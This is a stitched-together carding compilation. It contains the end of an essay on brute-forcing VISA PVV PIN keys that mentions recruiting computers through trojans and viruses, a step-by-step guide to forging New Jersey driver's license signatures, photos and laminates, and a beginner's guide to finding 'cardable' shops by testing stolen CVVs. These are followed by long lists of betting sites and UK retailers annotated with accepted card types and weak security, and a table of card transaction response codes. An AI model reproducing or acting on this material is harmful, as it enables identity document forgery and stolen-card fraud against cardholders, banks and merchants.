The top mark I got running my program was approximately 3 423 922 keys/second using the AMD processor. So, how much time would need the AMD to break the VISA PIN? It would simply be the ratio between the size of the key space and the key trying rate, that is, 2^56 keys/3 423 922 keys/second ~ 2.1 * 10^10 seconds ~ 244 thousand days ~ 667 years. This is the time for the program to finish, but on average the true secret key will be found by half that time. Using commercial cryptographic cards (like the IBM PCI Cryptographic Coprocessor or the XL-Crypt Encryption Accelerator) does not help very much, they are, at most, 2 times faster than my top mark, i.e. it would take more than a hundred years to find the key, at best. Some more speed might be achieved (double, at most) by using a dedicated gigabit VPN box or similar hardware in a way surely not foreseen by the manufacturer ;-)

Even if you manage to get a hundred newest AMD or Pentium processors working in parallel it would still take more than 3 years to find the key (if they are provided with crypto-cards the time might be reduced to less than two years or to less than one year in case of a hundred gigabit VPN boxes). It is clear

that only expensive dedicated hardware (affordable only by big institutions) or a massive Internet cooperative attack would success in a reasonable time (both things were already made). These are the good news. The bad news is that I have deliberately lied a little bit (you may already noticed it): VISA PVV algorithm allows for the use of triple DES (3-DES) encryption using a 128 bit (only 112 effective) encrypting key. If 3-DES is indeed in use by the PVV system you can still use the same attack but you would need four additional TSP-PVV pairs (no problem with that) and it would take more than 3 * 2^56 times more to find the double length key. Forget it.

PVV algorithm with triple DES consists in the encryption of the TSP with the left half of the encrypting key, then it decrypts the result with the right half of the key and encrypts the result again with the left half of the key. Note that if you use a symmetric 128 bit key, that is, the left half equals the right half, you get a single DES encryption with a single 64 bit key. In this case the algorithm degenerates into the one I explained above. That's why I did this work, because PVV system is old and maybe when it was implanted 3-DES was not viable (due to hardware limitations) or it seemed excessive (by that time) to the people responsible of the implementation, so that it might be possible some banks are using the PVV algorithm with single DES encryption.

Finally we can conclude that the VISA PVV algorithm as in its general form using 3-DES is rather secure. It may only be broken using specially designed hardware (implying an enormous inversion and thus not worth, see Wayner and Wiener) which would exceed the encryption rate of the newest processors by many orders of magnitude. However the apparently endless exponential growing of the computer capacities as well as that of the Internet community makes to think that PVV system might be in real danger within a few years. Of course those banks using PVV with single DES (if any) are already under true risk of an Internet cooperative attack. You might believe that is something very hard to coordinate, I mean convincing people, but think about trojan and virus programs and you will see it is not so difficult to carry on.

Capturing Signatures for ID's

Photo-laminated Ids are done with a specialty Polaroid camera. As this is an older technology, these cameras turn up quite often on Ebay. The means by which these cameras capture your signature is as follows:

You sign a piece a paper, and that paper gets put into a slot in the camera. On that paper is all your info, license number, name, address, everything that is eventually going to be put on the license. Its all bigger than its going to be on you license too. Id guess the font is about 12 pt type on the paper you sign (it eventually winds up about 9pt on the license)

So when the agent snaps your pic, they are actually taking your pic and a pic of the card with all your info on it at the same time. That results in a polaroid pic of your id, which is cut with a die cutter and laminated. So your signature is actually photographed.

Heres how I get the signature on the ID.

1. Have them sign any piece of white paper.
2. Scan it. I scan at 600dpi, my template is 1200dpi
3. Crop as tight as you can to the actually signature.
4. Convert to greyscale. (remove color information)
5. Convert back to CMYK.
6. Adjust Levels. Make the white totally white with the highlight eyedropper. Use the shadow and

midtone adjusters to get the signature a little darker (it probably lightened up with ur first adjustment)
7. Copy and paste into your template.
8. Change blending mode for the signature layer to Multiply. This makes all the white area transparent.
9. Line up over sig line and transform to the right size. The tops of the signature letters just about touch the bottom line of user info. Keep in mind that the person signs on that signature line with all the info present on the paper, so sometimes the signature will overlap the info, depends how big they sign. Youre instructed at DMV not to touch the letters and most people manage to stay in the area theyre supposed to. Even if you dont, they still go ahead, they dont make you sign a new piece of paper.

Thats about it. I usually wind up stretching the sig a little longer too, it should take up at least half the sig line.

So the signature isnt digital, none of the license is, its a photograph of your actual signature.

Heres the hex of the color I use for the words: 52474F Even though they are black on the white paper, photographing them changes the colors and they are never dead black on the dl. Blur all the type layers (except the camera number over ur photo) too with a guassian blur filter. I blur about 2.0 pixels on a 1200dpi temp. Blur the sig to match, usually a little more than the type, like twice. Nothing printed on the ID is crisp, except for the 3 digit camera number on top of your pic.

The hardest thing I have with NJ is getting the picture to look like a polaroid pic. Taking the pic with a digital camera creates way too much detail so I always scanned in a passport pic. Still couldnt get it perfect though. You have to remove all perception of depth, thru blurring, contrast and however else you can think of. The only way Ive gotten an ID to look exactly like a real one is by scanning in the pic off someones real ID. My friend got ahold of an old DMV camera, so I dont have to make them on my comp too much anymore.

Oh another thing, the back of a NJ is actually printed right on the lamination, printing on a piece of paper never looks right. I have some real laminations so I never had to worry about that. Dont use bright white paper for the back either. Xerox makes colored paper, use the grey, its perfect and you can buy it at office max (or office depot, I get em confused)

betinternet.com
betoddoreven.com
betroyal.com
bets4all.com
betsafe.com
betsense.com
dgm2.com
betsson.com
betway.com
betzone.com
bluesq.com
newbodog.com
boylesports.com
betandwin.com
commissionking.com
qksrv.net
cashpoint.at
centrebet.com
betthe.net
direcbet.com
easybets.com
eurobet.com
eurotip-online.com
expekt.com
fonbet.com
gamebookers.com
globet.com
goldbet.com
gwbet.com
indosoccer.com
intertops.com
interwetten.com
jazzsports.com
ladbrokes.com
lionbet.com
paysports.com
multibet.com
nordicbet.com
pacificsportclub.com
paddypower.com
parbet.com
pinnaclesports.com
playit.com
pointbet.com
premierbet.com
betroyal.com
sportonlinebookie.com
scandicbookmakers.com
wetten-schwechat.at
seangraham.com
skybet.com
snaisport.com
sportfanatik.com
sportingbet.com
sportingodds.co.uk
sportingoptions.co.uk

sbobet.com
sports.com
sportsbetting.com
qksrv.net
sportwetten-online.de
stanjames.com
stanleybet.com
swapbets.com
thebet.cc
thegreek.com
totalbet.com
totesport.com
unibet.com
unitedbet.com
victorchandler.com
vierklee.com
vikingbet.com
vikingbet.com
wettpunkt.com
willhill.com
winunited.com
worldbet.com
worldwager.com
wsex.com

Cardable shops finding

Good day everybody!

I'd like to talk a little about cardable online-shops finding. It would be useful for some beginners. So for getting list of shops go to _ww.amazon.com and of course to everybodie's favorite google.com. When you've got it – choose what you need.

Once you've chosen you need to check it. Usually they take some CVV's and try to order on holder's address something in $300-$400 (for example PDA, MP3 player or another shiet like this). Also to avoid too much attention choose not very fast delivery, something not expencive for 3-4 days delay. And wait.

If later you'll got track – congratulations, you've found cardable shop. But it's early to dance. There would be a lot of problems later. For example shop can require call or scans on the order with amount more $800-$1000 due to bad proxy, database of black addresses or enroll of cheap bank (First for example)).

So that's about all for beginners. Further improve and try new ways – that's only base actions.

CARDABLE SITES - HITLIST (90% of these shops ship)

http://www.casevalue.com/cgi-bin/CaseValue.storefront/4ae961fd00107608273fc0a8018c064c/Catalog/1087 amxaccepted
http://www.arenaflowers.com/gifts/champagne_de_venoge_brut_rose amx accepted
http://www.virginwines.com/product/prod_detail.jsp?PRODUCT%3C%3Eprd_id=845524442977627
http://www.champagneuk.com/catalog/?gclid=CLaIw5eB4p0CFVVu4wodgHflNA
http://cheers-wine-merchants.co.uk/Laurent-Perrier-Rose-Champagne-Rose-Wine-353.asp sec amx accepted
http://www.thedrinkshop.com/products/nlpdetail.php?prodid=653&afwinid=90909
http://www.bancroftwines.com/detailed.aspx?pID=10853&gclid=CNvHrNWC4p0CFQdl4wodL1CWNw
http://www.fromvineyardsdirect.com/wine/laurent_perrier.php?gclid=CPWljuqC4p0CFUYA4wodz1VdMg
http://www.frw.co.uk/searchWines.aspx?keywords=Laurent+Perrier+Rose&sid=4&FRS=GAd&gclid=CLbxjfWC4p0CFVtn4woduha8NA
http://www.laithwaites.co.uk/browsearticles.aspx?Filter=WineType:browse_types,white&results_per_page=&cid=search|google|specific|c2&mrc=pl48&gclid=CKHBlIyD4p0CFcts4wod6lW9OQ amxacceptd
https://www.giftsinternational.net/search_results.asp?query=Laurent+Perrier&imageField.x=9&imageField.y=10&gclid=CNi1hqWD4p0CFUtp4wodgSYdNw
http://www.nakedwines.com/
http://www.averys.com/default.aspx?mrc=E347&imi=winesdirectvoucher
http://www.formulawine.co.uk/wine/fresita
http://www.eburywinecellars.co.uk/products-page/champagne/page/2/
http://www.majestic.co.uk/find/category-is-Champagne%20and%20Sparkling%20Wine/category-is-Champagne/Special%20Offer-is-Special%20Offer?cmp=aw&cmp=aw
http://www.sparklingdirect.co.uk/pink_champagne.asp
http://www.bibendum-wine.co.uk/retail/wine-details/JLPNVROB6D/Laurent%20Perrier%20Rose%20NV%2075cl
http://www.bbr.com/product-16286B-laurent-perrier-rose
http://www.hotwines.co.uk/catalog/product_info.php?products_id=39
http://www.scottcountry.co.uk/products_detail.asp?productID=2447&froogle=true
http://www.winedancer.com/contents/en-uk/d263.html
http://www.woodenwinebox.co.uk/index.php?mod=category&id_ctg=6
http://www.flowergram.co.uk/icat/champagnecasesgiftpacks amxaccepted
http://www.anybooze.com/moet--chandon-brut-imperial-champagne-341-p.asp
http://www.thewhiskyexchange.com/Search-hennessy.aspx
http://www.parkerswhisky.co.uk/luxury-gift-hampers-c-45.html?osCsid=641beec7e176472ff1f931ebfd45a7ac amxaccepted ptx
http://shop.oliverscornwall.com/hennessy-paradis-extra-cognac-brandy-special-price-5-p.asp
http://www.chateauonline.co.uk/F-1012-alcool/P-15971-hennessy-paradis_1085319
http://www.retail-world.net/store/comersus_message.asp?message=Cannot+get+product+details%2E+Please+contact+us+to+request+more+information+about+item v and mc amx accepted
http://www.nextdaychampagne.co.uk/shopscr70.html
http://www.buyagift.co.uk/Product/Id/3268/Name/Gift_Bottle_of__Dom_Perignon_Vintage_2000_Champagne
http://www.allgifts.ie/Dom-Perignon-Vintage-Champagne-Gift-!26726-version.html irish
http://www.pauladamsfinewines.co.uk/champagnes-967-0.html?gclid=COShiYKN4p0CFU0A4wodPTL4Mw
http://www.wineandco.co.uk/chateau-lafite-rothschild-5517-m-uk-liv-uk.html
http://www.millesima.co.uk/F-1002-wine/K-119-Area~Bordeaux/K-115-Producers~Chateau-Lafite-Rothschild?gclid=CJulj8-O4p0CFZQA4wodfjkkNw
http://www.evinite.com/bordeaux/pauillac/chateau-lafite-rothschild
http://www.antique-wine.com/lafite.php

http://www.flower-delivery-uk.co.uk/champagne-gift.htm
http://www.toastchampagne.co.uk/shop/champagne/moet-et-chandon/ amx accepted
http://www.champagneexpress.co.uk/products.asp?pid=38
http://www.oddbins.com/products/productDetail.asp?productcode=19062 amx acptd
http://www.cgarsltd.co.uk/1992-moet-chandon-champagne-cuvee-perignon-p-5984.html amx acceptd
http://www.robersonwinemerchant.co.uk/shop/gift-ideas/one-bottle-of-dom-perignon-gift-boxed
http://www.serenatawines.com/?s_kwcid=vintage%20wine|2819508707 amx acptd
http://www.jeroboams.co.uk/webapp/wcs/stores/servlet/catalog_10001_10001_-1
http://www.magnum.co.uk/
http://www.winedirect.co.uk/product_info.php?products_id=4628&from_id=8304
http://www.cadmanfinewines.co.uk/ amx acptd
http://www.bennettsfinewines.com/store/
http://www.nicholasrobertsltd.com/
http://www.jaglass.co.uk/index.php?
main_page=index&cPath=36&zenid=1311e25b61fc6bfde4a1e5a01dd952c2
http://www.laywheeler.com/?gclid=CNi8j9eZ4p0CFZoU4wod3i1TNQ
http://www.barrelsandbottles.co.uk/
http://www.surf4wine.co.uk/
http://www.winediscoveries.co.uk/ sec amx?
http://www.thesussexwinecompany.co.uk/shop/ amc acpt
http://www.viniferaboutique.com/store/index.php?route=product/category&path=38
http://www.giftinspiration.com/acatalog/Wine_gifts.html
http://www.giftingdirect.co.uk/
http://www.wineware.co.uk/ amx acpt
http://www.classicwinedirect.com/product-sub-category.aspx?
country=0&colour=2&grape=0&range=0&gclid=COanyfad4p0CFU0B4wod_yRZMw v and mc amx
http://www.satchellswines.com/ ppal amx
http://www.winestore.co.uk/shop/fine_wines.htm
http://www.thesecretcellar.co.uk/?gclid=CPDw8M2e4p0CFZoU4wod3i1TNQ
http://www.butlerswines.co.uk/?gclid=CLT3zOeg4p0CFVBd4wod32k4Mg ppal amx acptd
http://www.bestvintage.co.uk/
http://winedown.co.uk/wine/louis-roederer-brut-premier-non-vintage-champagne.htm
http://www.nickollsandperks.co.uk/filter.asp?
pagenumber=1&pagesize=50&country=0009&region=0020&grower=0744&gclid=CNGkkayi4p0CFVB
d4wod32k4Mg
http://www.thegoodwineshop.co.uk/Sparkling-Wine/Product-7421.aspx
http://shop.purewines.org/1999-cristal-champagne-jeroboam-3ltr-louis-roederer-743-p.asp
http://www.davy.co.uk/p/wineshop-buy-online/champagne-and-sparkling-wine/champagne-
selection/louis-roederer-brut-premier-nv-champagne.html
http://cellarandkitchen.adnams.co.uk/?utm_source=AW&utm_medium=cpa amx acptd
http://www.goedhuis.com/products/champagne/champagne/nv-louis-roederer-rich-2.html
http://www.gasconline.com/categories.php?Cat=2&SubCatID=228
http://www.citychampagnes.com/louis-roederer.aspx amx axpt
http://www.fortnumandmason.com/(S(olioe255y4k4gtz2hikmef55))/catalog/productinfo.aspx?
id=7543&AspxAutoDetectCookieSupport=1
http://www.corkr.com/winedetail.php?id=269
http://www.sundaytimeswineclub.co.uk/DWBase/jsp/templates/article/productDetails.jsp?CID=MAIL|
55081&productId=prod26225 amx acpt
http://www.jacquel.be/Champagnes-Millesimes.php?pg=6&gclid=CPTxsJmo4p0CFUYA4wodz1VdMg
inter
soundslive
absolutemusic
guitar.co.uk merchant city music
reidys
dolphinmusic
guitarampkeyboard

dv247
gear4music v and mc
umbrellamusic v and mc
ukguitars
playrecord.net
musicshopdirect
guitarandampshop
musicstree
ollysguitar
visionguitars
steelcityguitars
fortissimoinstruments
themusicking

http://www.guitarvillage.co.uk/product-list.asp?manuid=119&catid=3
http://www.nevadamusic.co.uk/Musical_Instrument_Accessories/Accessories/sc1218/p739.aspx
http://www.absolutemusic.co.uk/shop/view_product.php?product=gbslpstebch1&gclid=CKH_vdaC9ZkCFQVfFQodcgqMRg
http://www.guitarampkeyboard.com/basket.php
http://www.gear4music.com/Electric_Guitars/Epiphone_Electric.html?gclid=CJuatvCC9ZkCFQVfFQodcgqMRg
http://www.maxguitarstore.com/store/index.php?productID=3812 inter
http://www.dangleberrymusic.co.uk/Richwood_Guitars_Greenburst_Les_Paul_Guitar_Limited_Edition_Tre-pr-5247.html
http://www.realtimemusic.co.uk/gibson-gary-moore-bfg.html
http://www.mansons.co.uk/ v and mc sec
http://www.musicstreet.co.uk/accessories-cases-bags-c-27_84.html?gclid=CPe_x4uE9ZkCFQMFZgodcEYFQg
http://www.hartnollguitars.co.uk/products.asp?id=3978
http://www.soundslive.co.uk/product.asp?id=2346 v and mc sec
http://www.projectmusic.net/american-standard-stratocaster-3-color-sunburst-latest-version-2600-p.asp
http://www.soundpad.co.uk/
http://www.chappellofbondstreet.co.uk/C~5034~Fender+Electric+Guitars
http://www.elmusic.co.uk/
http://www.wembleydrumcentre.com/index.php?fuseaction=shopping.details&pId=14659&cId=3
http://www.giggear.co.uk/b/Gibson/?gclid=CJv5rqKI9ZkCFQIWFQodP1nbRw
https://www.rainbowmusic.co.uk/sess/utn;jsessionid=1549e6f78956b77/shopdata/index.shopscript
http://www.thinkmusic.co.uk/prodtype.asp?PT_ID=154&strPageHistory=cat&gclid=CIPIx_GI9ZkCFRMFZgodgCNJQw
http://www.bonnersmusic.co.uk/browse/Guitars__and__Basses/Acoustic_Guitars/Gibson_Guitars
http://www.hollywood-music.co.uk/products.php?product=Gibson-Hummingbird-Modern-Classic-Acoustic-Guitar
http://www.soundsmusical.com/product.asp?productid=2206

http://www.froogle.richersounds.com/showproduct.php?cda=showproduct&pid=MONS-BEATS-BY-DR-DRE
http://www.iheadphones.co.uk/headphones/23820/Monster+Beats+by+Dr+Dre+High+Definition+Studio+Headphones.htm
http://www.tribaluk.com/detail.php?

ProdID=16cz0022&referrer=aw&utm_source=affiliatewindow&utm_medium=cpa v and mc
http://www.24electric.com/detail.php?
ProdID=83CZ9977&referrer=wg&source=webgains&siteid=4761&utm_source=webgains&utm_medium=cpa&utm_content=All v and mc
http://www.bennettsonline.co.uk/product.asp?
activeproduct=16CZ0022&utm_source=affiliatewindow&utm_medium=cpa v and mc BK
http://shop4blu-ray.co.uk/catalog/product_info.php?
cPath=29&products_id=86&osCsid=5c87238a958085c2941600af02057f0e
http://www.hifiheadphones.co.uk/technics-rpdj1200-pro-dj-headphones-in-black-dj1200-dj-prodid-293.html

http://www.studica.com/products/product_detail.cfm?productid=59470&storeid=4
http://www.ableton.com/pages/shop/full INTER

http://www.htfr.com/more-info/MR219186
http://www.chemical-records.co.uk/sc/servlet/Info?ref=gbase&Track=CDN88
http://www.djpro.co.uk/product_info.php?
products_id=1371&shpsessid=b93b78e747e4186f298d6b2c92b080ca
http://www.decks.co.uk/products/video_jockey/numark
http://www.disco-centre.co.uk/discoequipment.html?gclid=CM-GwJWS9ZkCFQSwFQodrg0FRQ
http://www.bananadj.com/product12236_32440.aspx
http://www.turnkey.co.uk/product.php?itemid=7826
https://www.studiocare.com/store/index.php?main_page=index&manufacturers_id=66
http://www.studiospares.com/DJ-CD-Players/Pioneer-CDJ800-Mkii-DJ-CD-Player/invt/285540
http://www.homedj.co.uk/ebuttonz/ebz_product_pages/pioneer_cdj800mk2.shtml?googlecpc
http://www.udmdjstore.co.uk/details.asp?ProductID=31130 v and mc
http://www.catapult.co.uk/products/DJ%20Equipment/PC%252FDigital
%20DJ/Numark+Total+Computer+DJ+in+a+Box
http://www.bosstunes.co.uk/djgear/catalog.php?keyword=numark low sec
http://www.prosound-dj.com/index.php?
manufacturers_id=22&osCsid=43d8c10b1d81b071f70df04913fb9f82
http://www.westenddj.co.uk/productlist.asp?mk=numark
http://www.djgearpro.com/pioneer-cdj1000-digital-deck-p-47.html
http://www.djanddiscostuff.com/category.asp?catid=2
http://www.djsuperstore.co.uk/item/dj-cd-mp3-players/068366-pioneer-cdj1000-mk3-single-cd-mp3-player-%C2%A3899.00
http://www.getinthemix.co.uk/index.htm/act/shop/process/cat/startnum/1/endnum/211/highlight/2/crit/cdj1000/search/true?gclid=CJXUw_-W9ZkCFQVxFQod1huWQw
http://www.electroniccentre.co.uk/sub-section.aspx?title=DJ%20Equipment&title2=CD%20and
%20MP3%20Decks&id=
http://www.qualitydj.co.uk/pioneer-djm-600-p-55.html v and mc
http://www.thomann.de/gb/pioneer_djm_400.htm
http://www.djdevices.com/djequipment/Ecler_DJ_Mixers.html (mixers only)
http://www.soundlightltd.com/proddetail.php?prod=6067
http://djempire.co.uk/product/pioneer-cdj-800-mk2-and-djm-400-package
http://www.avsl.co.uk/shop/cdj800-mk2-digital-cd-deck-with-scratch-jog-wheel-p-5789.html
http://www.total-music.com/catalogue.php?product_id=2730
http://www.yonies.com/pidD.asp?

chk=1&PID=2595&manf=Technics&model=SLDZ1200&prd=Turntable&lv1=Electronics&lv2=DJ+Equipment&lv3=Turntables&rf=frguk inter
http://www.tamarshop.co.uk/index.php?main_page=product_info&products_id=575&zenid=2b4bc645b985814785de763c851ba99c
https://www.scotaudio.com/acatalog/Technics_SL1200.html
http://www.discostudio.co.uk/item.php?upn=11305&affid=froogle v and mc
http://www.hifibitz.co.uk/product.asp?id=6681&aid=15036 bk v and mc
http://www.soundandvision.co.uk/hifi/turntables/technics-sl-1200mk5
http://www.proav.co.uk/Audio-Equipment/c534.aspx
http://www.superfi.co.uk/index.cfm/page/moreinfo.cfm/Product_ID/1471/?utm_source=nextag
http://www.andertons.co.uk/PAMixers/pid15475/cid622/BoseL1SystemT1ToneMatchAudioEngineMixer.asp
http://www.kmraudio.com/catalogue/product_info.php?products_id=620
http://www.reverb-store.co.uk/product-detail.asp?prod=2442
http://www.creativevideo.co.uk/public/view_item_cat.php?catalogue_number=apple_logic_studio
http://www.andertons.co.uk/MusicSoftware/pid9682/cid611/AppleLogicStudio8.asp
http://audiocooker.co.uk/shop/article_188/Apple-Logic-Studio-8.html
http://www.prolineaudio.co.uk/shopsub3.asp?submenu3=BHSX2442FX
http://www.ashcroft.absolutewebhosting2.co.uk/prod1.asp?ID=275
http://www.andyou.co.uk/productdetail.asp?ProductID=TYROS3&title=Yamaha+Tyros+3
http://shop.etsnet.co.uk/citronic-sm500-ultima-professional-mixer-38-p.asp
http://www.rosemorris.com/categories/Keyboard_Amplifiers/Keyboard_Amplifiers.html
http://www.overstock.com/Electronics/Pyle-PT4001X-5500-watt-Professional-DJ-Amplifier/3818324/product.html?cid=133635
http://www.thegreenwellystop.co.uk/whiskyshop/collectable/cat_4.html
http://www.masterofmalt.com/distilleries/allt-a-bhainne-whisky-distillery/
http://www.4golfonline.com/bushnell-golf-m-40.html no v
http://www.golf-direct.co.uk/bushnell-neo-gps-golf-rangefinder-i5701.html no v
http://www.golfonline.co.uk/bushnell-golf-scope-rangefinder-p-3619.html amx axpt
http://www.nevadabobs.co.uk/Gadgets/Range-Finders/77scid/5972prodid.asp
http://www.thegolfshoponline.co.uk/index.cfm?fuseaction=main.dspSingleProduct&productId=789&gclid=CLemnayo5Z0CFZQA4wodcAJ3MA no v
http://www.sheffieldprogolf.co.uk/Bushnell.html?gclid=CJTLxMOo5Z0CFWlr4wodTwhVMA amc acpt
http://www.tomorrowsgolfer.co.uk/products/Bushnell-Tour-V2-Laser-Rangefinder-Pinseeker.html no v
http://www.justgolfonline.co.uk/accessories/new-bushnell-tour-v2-rangefinder-p-1622.html ptx
http://www.binoculars-uk.co.uk/acatalog/Bushnell_Yardage_Pro_V2.html ptx amx acpt
http://www.nickylumb.com/superstore/itemdetl.php/itemprcd/01PR8401-1SZE no v
http://www.thegolfstore4u.co.uk/bushnell-tour-v2-laser-rangefinder-with-pinseeker-technology-p-220.html ppal amx acpt
http://www.0800gadgets.co.uk/product.php/65100/267 ptx
http://golfclubseurope.co.uk/proddetail.php?prod=BNTV2LR no v
http://www.davidpartridgegolf.com/index.php?page=shop.product_details&flypage=flypage.tpl&product_id=19&category_id=11&option=com_virtuemart&Itemid=31&vmcchk=1&Itemid=31 no v
http://www.greavessports.com/tour-v2-rangefinder-p32299 no v
http://www.foot-steps.uk.com/section/21/1/golf_gps amx acpt
http://www.hdickinson.co.uk/product_page.php?id=83 ppal amx acpt
http://www.eventcaddie.com/bushnell-laser-range-finders.htm amx acpt
http://www.completegolfer.co.uk/cg7/store/comersus_listItems.asp?idCategory=196
http://www.snaintongolf.co.uk/product.php/1707/skycaddie_sg2_5_range_finder ptx amx acpt
http://www.golffortune.co.uk/en/user?destination=cart%2Fcheckout inter
http://www.mensgiftshop.com/acatalog/golf-gifts.html v and mc
http://www.buysport.co.uk/ no v
http://www.onestopgiftshop.co.uk/c/grid/1/2/12/181/Gifts
http://www.tonyvalentine.com/ no v
http://www.golfwholesaledirect.com/shop/index.php?

cPath=30_82&osCsid=2ea7fc95d1ad7ed53ea48bb3cd174072 no v
http://www.golf247.co.uk/cobra-irons-steel-2010-model-p-946.html?affiliate_banner_id=1&ref=9
http://www.118golf.co.uk/Golf-Accessories/GPS-Rangefinders/prodlist_ct337.htm ptx
http://www.jamgolf.com/uk/finder/all/gps-devices/any/1 no v
http://www.gpsw.co.uk/?gclid=CMS55Lmt5Z0CFUQA4wodHAJ5Kw
http://www.snooperuk.com/snooper_products/gps_golf_shot_saver_range_finders/index.html no v
http://www.maximusgolf.co.uk/product.php/1187/skycaddie-sg-2-5-gps-black-golf-rangefinder/dbca162d535b370bcec75ced581aa99d no v
http://www.americangolf.co.uk/golf-equipment/golf-accessories/golf-practice-aids---gadgets/skycaddie-sg2-5-gps-range-finder/ no v
http://store.europeantour.com/stores/eurotour/products/product_browse.aspx?category%7Ccategory_root%7C9698=balls+&+accessories&category%7Ccat_9698%7C9730=gps%2Frange+finders amc acpt
http://www.merlinlazer.com/Laser-Distance-Measurement-2?gclid=CIqQ0Yiu5Z0CFVtn4wodlh8dLg no v
http://www.planetgolfuk.co.uk/shop/Monocular-Distance-Finder-p-18117.html no v
http://www.golfbidder.co.uk/golf-accessories/102/golf-range-finders.html no v
http://golf-gift.co.uk/store/catalog/Longridge-neoprene-iron-covers-p-16263.html ptx
http://www.golfizus.co.uk/ishop/1094/shopscr93.html
http://www.teedoff.co.uk/catalog/product.aspx?search=true&cid=703&pid=93611 ppal amx acpt
http://www.uttings.com/?categories/Rangefinders/bushnell/ no v

LIQ

http://www.parkerswhisky.co.uk/ ptx amx acpt
http://www.drambusters.com/
http://www.maltwhiskyonline.com/
http://www.whisky-online.com/ amc acpt
http://www.whiskyshop.com/
https://www.lfw.co.uk/acatalog/ v and mc antica
http://www.whiskyshack.com/
http://www.ocado.com/webshop/product/Laphroaig-10-Year-Old-Single-Islay-Malt-Whisky/16554011?parentContainer=|22000|22717|22864|22871
http://www.bakersandlarners.co.uk/

http://www.mensgiftshop.com/acatalog/binoculars.html definet GOER max 3 notes up to 5 notes
http://www.skyviewoptics.co.uk/categories.asp?pg=545&tl=0
http://www.camera-shop.co.uk/acatalog/Bushnell_Digital_Camera_Binoculars.html
http://www.campkinsonline.com/99/Nikon-Travelite-EX-10X25.html?referrer=Froogle
http://www.scottcountry.co.uk/products_detail.asp?productID=2861
http://www.alloutdoor.co.uk/bushnell-permafocus-10x50-auto-focus-binoculars-2557-p.asp
http://www.adventurekit.co.uk/acatalog/Telescopes.html (telescope option)
http://www.ukcamo.com/StoreFrontProfiles/DeluxeSFItemDetail.aspx?sfid=151943&c=167269&i=240590879
http://www.flightstore.co.uk/DEPT-BIN/use/price.30-50
http://www.uttings.com/?Categories/Optics/Binoculars/
http://www.cabelas.com/cabelas/en/templates/purchase/item-added.jsp?_requestid=2668 inter
http://www.green-witch.com/acatalog/Swarovski.html?gclid=CJOCkIGH-pkCFUM-3godH0k9GA
http://www.harrisoncameras.co.uk/productdetail.kmod?productid=6060
http://www.wilkinson.co.uk/store/product.php?productid=17720
http://www.sportsmanguncentre.co.uk/productDetails.php?categoryId=11712990177266&product=Leica+BR+Ultravid+8x20+Compact
http://www.purelygadgets.co.uk/showproduct.php?prodid=9981&wysiwyg=10 v and mc
http://www.harpersphoto.co.uk/product/opticron_8x32_zcf_ga_imagic_tga_wp_porro_prism_binoculars/ hs v and mc
http://www.at-infocus.co.uk/opticron.html

http://www.mynewcheap.co.uk/products/details/bushnell-h2o-binoculars-10x-25mm-13-1005/10659/ hs v and mc
http://www.opticsale.com/zhumell-7x50-marine-binoculars-w-compass.html inter
http://www.obm.co.uk/products/db/454.htm
http://www.gamefayre.co.uk/index.cgi?d=4&ref=Google-Ad
campkinsonline
acecameras
pennineonline
theclassiccamera (lenses)
opticsplanet inter
astroshop
cameraking
survsys (laser testing equipment)
parkcameras
microglobe
allcam
bristolcameras
purelygadgets
ukoptics
binocularsshop
telescopesandbinoculars
eebc
morrisphoto
rgb-tech
lambda-tek
microglobe
the-binoculars-store
scopesnskies
cliftoncameras
at-infocus low sec
safari-store
green-witch
buzzoptics
rspboptics
swillingtonshootingsupplies.
leicashop inter
uttingsoutdoors
cameras2u
westwalesbinoculars BK v and mc
grahamsonline
cameramarts
binocularbarn
alanaecology
allcam
ukdigitalcameras
ukdigital
ukoptics possible connection with above
acecameras
devoncamera bk v and mc
photosolution
phonescorporation
simplyelectronics v and mc
dalephotographic
martinscamerashop
harrisoncameras
purelygadgets

t4cameras
wilkinson v and mc
mifsuds low sec
calumetphoto
digitalcameraexchange
cameraworld
jacobsdigital v and mc
bitesizedeals
bccamera inter
simplyelectronics v and mc
camerabox
abc-digital-cameras
bentonvillemall v and mc
pixmania
cordless-phones v and mc
bestcameras
http://www.hairstyling.co.uk/acatalog/Straighteners.html
http://www.uksellmart.co.uk/
http://www.ghdhairstores.co.uk/?gclid=COT71qXbtJoCFQZqswoddk06cg
http://keenbuy.co.uk/keenbuy/index.php?act=viewProd&productId=3
http://enzohairandbeauty.myshopify.com/products/ghd-pure
beautyflash
hairsupermarket sec
beautique
gorgeousshop
great hair direct
ghdhairproducts
hqhair
skincareukcentre
ilovemyghd
asos
brindleys-hair
feelunique
heaven-spa
ghd-uk
abcbeautyshop
candyaddicted bk v and mc
paulkayhairproducts sec v and mc
besthairbrands bk v and mc
beautybay
salonskincare
francescogroup
slapiton.tv
saloneasy
hair1ukonline
body4real
ehaircare
justbeautifully v and mc
missbollywood
beautysleuth v and mc
prohaircare
assetchemist
prosalonsupplies
beautybay
buywiseuk v and mc
wantthelook

exclusivebeauty
lookfantastic
powderpuff
folica inter

Card/ATM Reading Codes

EFTI Transaction Response Codes:
Response Processor Description

700 EFTI Completed Successfully
01 EFTI Refer to card issuer
02 EFTI Refer to card issuer, special condition
03 EFTI Invalid Merchant
04 EFTI Pick-up card
05 EFTI Do not honor
06 EFTI Error
07 EFTI Pick-up card, special condition
08 EFTI Honor with identification
09 EFTI Request in Progress
10 EFTI Approved, partial
11 EFTI Approved, VIP
12 EFTI Invalid transaction
13 EFTI Invalid amount
14 EFTI Invalid card number
15 EFTI No such issuer
16 EFTI Approved, update track 3
17 EFTI Customer cancellation
18 EFTI Customer dispute
19 EFTI Re-enter transaction
20 EFTI Invalid response
21 EFTI No action taken
22 EFTI Suspected malfunction
23 EFTI Unacceptable transaction fee
24 EFTI File update not supported
25 EFTI Unable to locate record
26 EFTI Duplicate record
27 EFTI File update edit error
28 EFTI File update file locked
29 EFTI File update failed
30 EFTI Format error
31 EFTI Bank not supported
32 EFTI Completed partially
33 EFTI Expired card, pick-up
34 EFTI Suspected fraud, pick-up
35 EFTI Contact acquirer, pick-up
36 EFTI Restricted card, pick-up
37 EFTI Call acquirer security, pick-up
38 EFTI Pin tries exceeded, pick-up
39 EFTI No credit account

40 EFTI Function not supported
41 EFTI Lost Card
42 EFTI No universal account
43 EFTI Stolen Card
44 EFTI No investment account
51 EFTI Not sufficient funds
52 EFTI No check account
53 EFTI No savings account
54 EFTI Expired card
55 EFTI Incorrect PIN
56 EFTI No card record
57 EFTI Transaction not permitted to cardholder
58 EFTI Transaction not permitted on terminal
59 EFTI Suspected fraud
60 EFTI Contact acquirer
61 EFTI Exceeds withdrawal limit
62 EFTI Restricted card
